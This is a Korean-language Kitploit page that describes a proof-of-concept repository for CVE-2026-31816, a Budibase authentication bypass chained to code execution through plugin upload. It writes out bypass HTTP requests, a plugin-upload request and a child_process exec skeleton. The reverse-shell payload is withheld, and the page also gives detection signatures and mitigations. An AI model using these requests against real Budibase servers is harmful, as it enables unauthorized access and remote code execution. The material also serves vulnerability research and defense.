Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-31816 — CVE-2026-31816 - Budibase 인증 우회로 RCE까지 | Kitploit
도구/GitHubGitHub/k3ystr0k3r/cve-2026-31816
Authentication & AuthorizationExploitationWeb Application ExploitationPenetration TestingPayload DevelopmentAPI Security
GitHubk3ystr0k3r/cve-2026-31816

CVE-2026-31816

CVE-2026-31816 - Budibase 인증 우회로 RCE까지

저장소 보기
2326일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-31816 - Budibase 인증 우회로 인한 RCE

CVE CVSS Vendor Type Impact

CVE-2026-31816은 Budibase에 영향을 미치는 치명적인 인증 및 인가 우회 취약점입니다.

이 취약점은 API 엔드포인트를 보호하는 서버 측 인가 미들웨어에 존재합니다. Budibase는 고정(앵커)되지 않은 정규식을 사용하여 합법적인 웹훅 엔드포인트를 식별하려고 시도하며, 해당 정규식을 Koa의 ctx.request.url에 대해 평가합니다.

ctx.request.url에는 쿼리 문자열이 포함되어 있으므로, 공격자는 그 외에는 관련이 없는 API 요청의 쿼리 구성 요소에 웹훅처럼 보이는 경로를 주입할 수 있습니다.

예를 들어:

root@kitploit:~
/api/integrations?/webhooks/trigger

이 요청은 실제로 웹훅 엔드포인트를 대상으로 하지 않습니다. 그러나 취약한 검사는 /webhooks/trigger를 요청이 합법적인 웹훅 요청이라는 증거로 해석하고, 정상적인 인증 및 인가 검사 없이 실행을 계속하도록 허용할 수 있습니다.

NVD는 이 문제를 완전히 인증되지 않은 원격 공격자가 URL에 웹훅 경로 패턴을 추가하여 서버 측 API 엔드포인트에 접근할 수 있게 하는 것으로 설명합니다.


취약점 정보

NVD는 3.31.4까지의 Budibase 버전을 영향을 받는 것으로 기록하고 CVSS 3.1 점수 9.1을 부여합니다.


근본 원인

취약한 로직은 정상적인 인가 이전에 수행되는 웹훅 탐지를 중심으로 합니다.

보안 권고에는 개념적으로 다음 코드와 동등한 내용이 문서화되어 있습니다:

root@kitploit:~
const WEBHOOK_ENDPOINTS = new RegExp(
  [
    "webhooks/trigger",
    "webhooks/schema",
    "webhooks/discord",
    "webhooks/ms-teams"
  ].join("|")
)

export function isWebhookEndpoint(ctx) {
    return WEBHOOK_ENDPOINTS.test(ctx.request.url)
}

문제는 다음 두 가지 동작의 결합입니다:

  1. 정규식이 고정(앵커)되어 있지 않습니다.
  2. ctx.request.url에는 쿼리 문자열이 포함됩니다.

즉, 해당 표현식은 실제 요청 경로와 일치할 필요가 없습니다.

다음과 같은 요청:

root@kitploit:~
/api/some/protected/endpoint?/webhooks/trigger

은(는) 테스트 대상 URL 내부에 여전히 다음 문자열을 포함합니다:

root@kitploit:~
/webhooks/trigger

그 후 인가 미들웨어는 해당 요청을 웹훅 요청으로 취급하고 정상적인 인가 흐름을 수행하지 않은 채 엔드포인트에 도달합니다.

Budibase 보안 권고는 이를 근본적인 결함으로 명시하며, 이 우회가 인증, 인가, 역할 검사 및 CSRF 보호를 건너뛴다고 밝힙니다.


인증 우회

보호된 API 엔드포인트에 대한 일반적인 요청은 인증 계층을 통과할 것으로 예상됩니다.

예를 들어:

root@kitploit:~
GET /api/integrations HTTP/1.1
Host: target.example
Connection: close

취약한 인스턴스에는 대신 웹훅 쿼리 문자열 패턴으로 접근할 수 있습니다:

root@kitploit:~
GET /api/integrations?/webhooks/trigger HTTP/1.1
Host: target.example
Connection: close

중요한 부분은 다음과 같습니다:

root@kitploit:~
?/webhooks/trigger

엔드포인트 자체는 변경되지 않았습니다:

root@kitploit:~
/api/integrations

쿼리 문자열만 수정되었습니다.

공개된 Budibase 권고는 /api/integrations 및 기타 여러 서버 측 엔드포인트에 대해 이 정확한 기법을 시연합니다.


최소 검증

통제된 실습 환경에서 인증 우회를 검증하는 안전한 방법은 일반 요청과 웹훅 쿼리 변형을 비교하는 것입니다.

기준

root@kitploit:~
GET /api/integrations HTTP/1.1
Host: 127.0.0.1:10000
Connection: close

우회

root@kitploit:~
GET /api/integrations?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
Connection: close

취약한 서버는 일반적으로 엔드포인트를 보호하는 인증 검사 없이 두 번째 요청을 처리할 수 있습니다.

게시된 PoC도 간단한 취약점 확인용으로 유사하게 다음을 사용합니다:

root@kitploit:~
/api/integrations?/webhooks/trigger

원시 HTTP 요청 — API 접근

다음은 인증된 API 요청이 웹훅 패턴을 추가하여 인증되지 않은 요청으로 변환되는 구조를 보여줍니다.

root@kitploit:~
POST /api/ta_users/search?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
Content-Type: application/json
x-budibase-app-id: <TARGET_WORKSPACE_ID>
Connection: close
Content-Length: 12

{"query":{}}

공식 Budibase 권고는 이 엔드포인트를 영향을 받는 API 표면 중 하나로 문서화합니다.

동일한 결함을 통해 접근 가능한 것으로 문서화된 기타 서버 측 엔드포인트는 다음과 같습니다:

root@kitploit:~
/api/tables
/api/datasources
/api/automations
/api/roles
/api/integrations
/api/views
/api/plugins

핵심 관찰점은 이 취약점이 특정 애플리케이션 리소스 하나에 묶여 있지 않다는 것입니다. 영향을 받는 인가 미들웨어는 광범위한 서버 측 API 앞에 위치합니다.


악용 체인

인증 우회는 공격자가 제어하는 기능을 수용할 수 있는 민감한 API와 결합될 때 훨씬 더 심각해질 수 있습니다.

이 저장소의 PoC는 취약점을 다음과 같이 연결합니다:

root@kitploit:~
                    ┌─────────────────────────┐
                    │     Remote attacker     │
                    └────────────┬────────────┘
                                 │
                                 │  ?/webhooks/trigger
                                 ▼
                    ┌─────────────────────────┐
                    │ Budibase authorization  │
                    │       middleware        │
                    └────────────┬────────────┘
                                 │
                                 │ authentication bypass
                                 ▼
                    ┌─────────────────────────┐
                    │ Protected server-side   │
                    │       API endpoints     │
                    └────────────┬────────────┘
                                 │
                                 │ plugin upload
                                 ▼
                    ┌─────────────────────────┐
                    │   /api/plugin/upload    │
                    └────────────┬────────────┘
                                 │
                                 │ crafted plugin
                                 ▼
                    ┌─────────────────────────┐
                    │  Plugin JavaScript code │
                    │      execution          │
                    └────────────┬────────────┘
                                 │
                                 ▼
                          Code execution

PoC는 먼저 /api/integrations에 대해 우회를 검증한 다음, Budibase 플러그인 아카이브를 빌드하여 /api/plugin/upload를 통해 제출합니다.

원시 HTTP 요청 — 플러그인 업로드

인가가 우회되면 플러그인 업로드 요청은 취약한 웹훅 쿼리가 URL에 추가된 상태로 일반적인 multipart 업로드 형식을 따릅니다.

정리된 표현은 다음과 같습니다:

root@kitploit:~
POST /api/plugin/upload?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=------------------------boundary
Connection: close

--------------------------boundary
Content-Disposition: form-data; name="file"; filename="datasource-helper.tar.gz"
Content-Type: application/gzip

<PLUGIN_ARCHIVE_BYTES>
--------------------------boundary--

저장소의 PoC는 .tar.gz 플러그인 아카이브로 이 multipart 요청을 생성하여 /api/plugin/upload?/webhooks/trigger로 전송합니다.

안전을 위해 위 요청은 실행 가능한 아카이브를 문서에 리버스 셸 페이로드를 직접 포함하는 대신 의도적으로 자리 표시자로 남겨 둡니다.


플러그인 구성

PoC는 다음을 포함하는 플러그인 아카이브를 생성합니다:

root@kitploit:~
package.json
schema.json
datasource-helper.js

아카이브는 gzip으로 압축된 tarball로 생성됩니다.

JavaScript 구성 요소는 Node.js가 child_process를 로드하고 제공된 명령을 실행하도록 구성됩니다:

root@kitploit:~
var cp = require("child_process");
var cmd = "<COMMAND>";
cp.exec(cmd);

저장소 구현은 여러 페이로드 유형을 지원하며 해당 명령을 동적으로 생성합니다.

이것은 체인의 두 번째 단계입니다:

root@kitploit:~
Authentication bypass
        ↓
Unauthenticated API access
        ↓
Plugin upload
        ↓
Attacker-controlled JavaScript
        ↓
Node.js command execution

버그가 발생하는 이유

이 취약점은 근본적으로 URL 파싱 및 신뢰 경계(trust boundary)의 오류입니다.

애플리케이션은 일부 웹훅 라우트가 공개적으로 접근 가능해야 합니다. 취약한 구현은 실제 요청 경로가 허용된 웹훅 라우트에 속하는지 확인하는 대신, 전체 URL에서 일치하는 부분 문자열을 검색합니다.

개념적으로:

root@kitploit:~
Expected:

request.path
    │
    └── must actually equal a webhook endpoint


Actual vulnerable behavior:

request.url
    │
    ├── path
    └── query string
            │
            └── attacker-controlled text
                     │
                     └── /webhooks/trigger

쿼리 문자열은 공격자가 제어할 수 있으므로, 공격자는 웹훅 탐지기가 기대하는 문자열을 URL의 어디에든 배치할 수 있습니다.

이로 인해 보안에 민감한 부울 검사가 잘못된 결과를 반환하게 됩니다:

root@kitploit:~
isWebhookEndpoint(ctx)
        │
        ├── false → normal authorization
        │
        └── true  → return next()
                       │
                       ├── authentication skipped
                       ├── authorization skipped
                       ├── role checks skipped
                       └── CSRF checks skipped

Budibase 권고는 조기 return next() 동작과 그에 따른 보안 검사 우회를 명시적으로 설명합니다.


영향

이 취약점은 단순한 로그인 우회보다 훨씬 광범위합니다.

공급업체 권고에 따르면, 악용 시 다음에 영향을 미치는 서버 측 API에 대한 인증되지 않은 접근이 가능해질 수 있습니다:

  • 애플리케이션 데이터
  • 테이블
  • 행
  • 자동화
  • 데이터 소스
  • 쿼리
  • 뷰
  • 플러그인
  • 역할 및 기타 관리 리소스

권고는 또한 이 우회가 CSRF 보호를 무력화하며 사용자 상호작용이나 기존 자격 증명이 필요하지 않다고 확인합니다.

공격자가 제어하는 기능을 처리할 수 있는 취약한 API가 우회를 통해 접근 가능해지면, 이 취약점은 임의 코드 실행으로 연결될 수 있습니다.

이 저장소에 포함된 PoC는 플러그인 아카이브를 빌드하고 업로드한 후 실행을 기다리는 방식으로 해당 공격 경로를 시연합니다.


탐지

기본적인 탐지 전략은 일반 요청과 웹훅 스타일 쿼리 접미사가 포함된 동일한 요청의 인증 동작을 비교하는 것입니다.

예시:

root@kitploit:~
curl -i http://127.0.0.1:10000/api/integrations

대비:

root@kitploit:~
curl -i 'http://127.0.0.1:10000/api/integrations?/webhooks/trigger'

취약한 설치 환경에서는 두 번째 요청을 통해 보호된 엔드포인트가 노출될 수 있습니다.

이 기법은 CVE-2026-31816에 대한 공개 탐지 자료에서도 사용됩니다.


영향을 받는 버전

NVD 항목은 다음을 식별합니다:

root@kitploit:~
Budibase <= 3.31.4

을 영향을 받는 버전으로 명시합니다.

주목할 만한 중요한 문서 불일치가 있습니다: 현재 게시된 GitHub 보안 권고에는 **"Patched versions: None"**으로 표시되지만, 독립적인 취약점 참고 자료에서는 3.31.5 이상을 해결 경계로 식별합니다. 따라서 이 저장소는 해당 Budibase 릴리스/변경 사항이 독립적으로 검증되지 않는 한 3.31.5를 의심의 여지가 없는 공급업체 확인 패치로 제시해서는 안 됩니다.


해결 방안

1차 해결 방안은 업스트림 수정 사항이 포함된 버전으로 Budibase를 업그레이드하는 것입니다.

패치가 가능해질 때까지 방어적 통제는 다음을 포함할 수 있습니다:

root@kitploit:~
1. Restrict network access to the Budibase server.
2. Place the administrative interface behind trusted-network controls.
3. Monitor for webhook-style strings appearing in API query parameters.
4. Review logs for requests containing:
      /webhooks/trigger
      /webhooks/schema
      /webhooks/discord
      /webhooks/ms-teams
5. Restrict unnecessary plugin-management functionality.

이 취약점은 공격에 인증된 세션이 필요하지 않으므로 인터넷에 노출된 자체 호스팅 배포 환경에서 특히 우려됩니다.


탐지 시그니처

유용한 로그 수준 지표는 쿼리 문자열에 웹훅 라우트 패턴이 포함된 API 요청입니다:

root@kitploit:~
/api/*?/webhooks/trigger
/api/*?/webhooks/schema
/api/*?/webhooks/discord
/api/*?/webhooks/ms-teams

예를 들어:

root@kitploit:~
GET /api/integrations?/webhooks/trigger
POST /api/plugin/upload?/webhooks/trigger
POST /api/ta_users/search?/webhooks/trigger

이러한 패턴은 합법적인 트래픽과 애플리케이션별 동작도 고려해야 하므로 자동으로 악용의 증거로 간주하기보다 조사해야 합니다.


PoC 아키텍처

이 저장소의 익스플로잇 구현은 여러 논리적 구성 요소로 나뉩니다:

root@kitploit:~
ExploitConfig
     │
     ├── target
     ├── LHOST
     ├── LPORT
     └── payload type
            │
            ▼
      BudibaseClient
            │
            ├── vulnerability check
            └── plugin upload
                    │
                    ▼
             PluginBuilder
                    │
                    └── .tar.gz
                            │
                            ▼
                      PayloadBuilder
                            │
                            └── JavaScript
                                    │
                                    ▼
                              command execution

구현에는 악용 성공 후 셸 연결을 수신하기 위한 선택적 리스너도 포함되어 있습니다.


예시 검증 흐름

통제된 실습 환경에서:

root@kitploit:~
1. Deploy a vulnerable Budibase release.
2. Send a baseline request to a protected endpoint.
3. Repeat the request with ?/webhooks/trigger.
4. Compare the authentication behavior.
5. Confirm that the protected API becomes reachable.
6. In an isolated environment, test the plugin-upload stage.
7. Verify command execution using a harmless proof such as creating a temporary marker file.

저장소 PoC는 2단계 업로드를 시도하기 전에 취약점 검사를 수행하며, 초기 검사가 실패하면 중단합니다.

보안 연구 노트

이 취약점은 보안에 민감한 URL 매칭이 공격자가 제어할 수 있는 전체 URL 문자열이 아닌, 올바르게 파싱되고 정규화된 요청 경로에 대해 수행되어야 하는 이유를 보여주는 좋은 예입니다.

웹훅 기능 자체는 합법적이므로 이 버그는 미묘합니다. 문제는 미들웨어가 내리는 신뢰 결정입니다:

root@kitploit:~
"Does this request target a webhook?"

는 사실상 다음으로 답변됩니다:

root@kitploit:~
"Does the entire URL contain a webhook-looking substring?"

이 둘은 동등한 보안 속성이 아닙니다.

따라서 공격자는 자신의 요청이 실제로 웹훅 요청이 되도록 만들 필요가 없습니다. 인가 미들웨어가 그것이 웹훅 요청이라고 믿도록 만들기만 하면 됩니다.


참고 자료

  • NVD: CVE-2026-31816
  • Budibase 보안 권고: GHSA-gw94-hprh-4wj8
  • CVE 레코드 / 공개 취약점 데이터베이스
  • Budibase 릴리스 이력
  • CVE-2026-31816에 대한 공개 탐지 및 연구 자료

면책 조항

이 저장소는 보안 연구, 취약점 검증 및 승인된 테스트를 목적으로 합니다. 소유하지 않았거나 테스트에 대한 명시적 허가를 받지 않은 시스템에는 익스플로잇을 사용하지 마십시오.

도구 다운로드
필드값
CVECVE-2026-31816
공급업체Budibase
제품Budibase
영향을 받는 버전<= 3.31.4
심각도Critical
CVSS v3.19.1
CVSS 벡터AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
CWECWE-74
공격 벡터네트워크
필요한 권한없음
사용자 상호작용없음
인증 필요아니요